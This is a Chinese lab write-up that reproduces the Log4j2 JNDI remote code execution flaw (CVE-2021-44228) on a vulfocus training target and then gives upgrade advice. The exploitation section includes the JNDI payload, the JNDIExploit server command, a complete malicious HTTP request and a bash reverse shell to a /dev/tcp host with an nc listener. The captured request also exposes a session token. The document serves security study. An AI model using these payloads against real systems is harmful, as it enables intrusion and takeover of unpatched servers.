Log4j2-远程命令执行漏洞复现及修复建议

环境:本实验使用vulfocus提供的Log4j2远程命令执行靶机。
声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

在这里插入图片描述

背景:

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。(此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。)

漏洞编号:

CNVD-2021-95914
CVE-2021-44228

影响版本:

经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:

Apache Log4j 2.x < 2.15.0-rc2

环境搭建:

方式一
靶机地址:http://vulfocus.fofa.so/#

方式二
docker搭建:docker pull vulfocus/log4j2-rce-2021-12-09:latest

靶机访问如下:
在这里插入图片描述

验证漏洞是否存在:

1、使用Dnslog平台验证:
Dnslog地址:http://www.dnslog.cn/

2、使用burpsuit抓包,构造poc请求:
poc → ${jndi:ldap://dnslog address/poc}
在这里插入图片描述

3、Dnslog平台收到请求,证明漏洞存在。

漏洞利用:

利用工具:

链接:https://pan.baidu.com/s/1ABBPDmtMQktehVBt5MYwvg 
提取码:gr3n
  1. 使用圈内大佬的漏洞Exp ,JNDIExploit-1.2-SNAPSHOT.jar包 ;

  2. 在vps上运行JNDI服务,LDAP监听端口为7000,http监听端口为5000

 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i *.*.*.* -l 7000 -p 5000
 //注意:外网环境利用需要出外网,命令中填写公网IP

JNDI服务启动如下:
在这里插入图片描述
利用方式一(远程命令执行拿flag)

  • 抓包,构造payload请求包
//构造后的请求包
POST /hello HTTP/1.1
Host: vulfocus.fofa.so:22151
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1636684504,1638936049; Hm_lpvt_b5514a35664fd4ac6a893a1e56956c97=1639040366; Hm_lvt_deaeca6802357287fb453f342ce28dda=1637137942,1639100636,1639115500; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo5MzUyLCJ1c2VybmFtZSI6ImFmdGVyIiwiZXhwIjoxNjM5NDY0NzUxLCJlbWFpbCI6IjE5Nzc0NjU0NDFAcXEuY29tIn0.YnY3gk_aKKdcdZ954LndmQZji66gOtGeMgHQ-jtjYQg; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1639385736
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
cmd:ls /tmp

payload=${jndi:ldap://*.*.*.*:7000/TomcatBypass/TomcatEcho}

成功命令回显,拿到flag
在这里插入图片描述
利用方式二(反弹shell,控制靶机)

  1. 利用bash反弹shell
同方式一请求包cmd命令换成:
/bin/bash -c 'bash -i >& /dev/tcp/*.*.*.*/5001 0>&1'
  1. vps接收shell
nc -lvvp 5001

如下如,成功反弹shell,控制靶机:
在这里插入图片描述

解决方案:

  1. 升级至 log4j-2.15.0-rc2
下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  1. 对于漏洞整改及排查推荐大佬的文章:
    (针对无法立即升级用户)
    https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>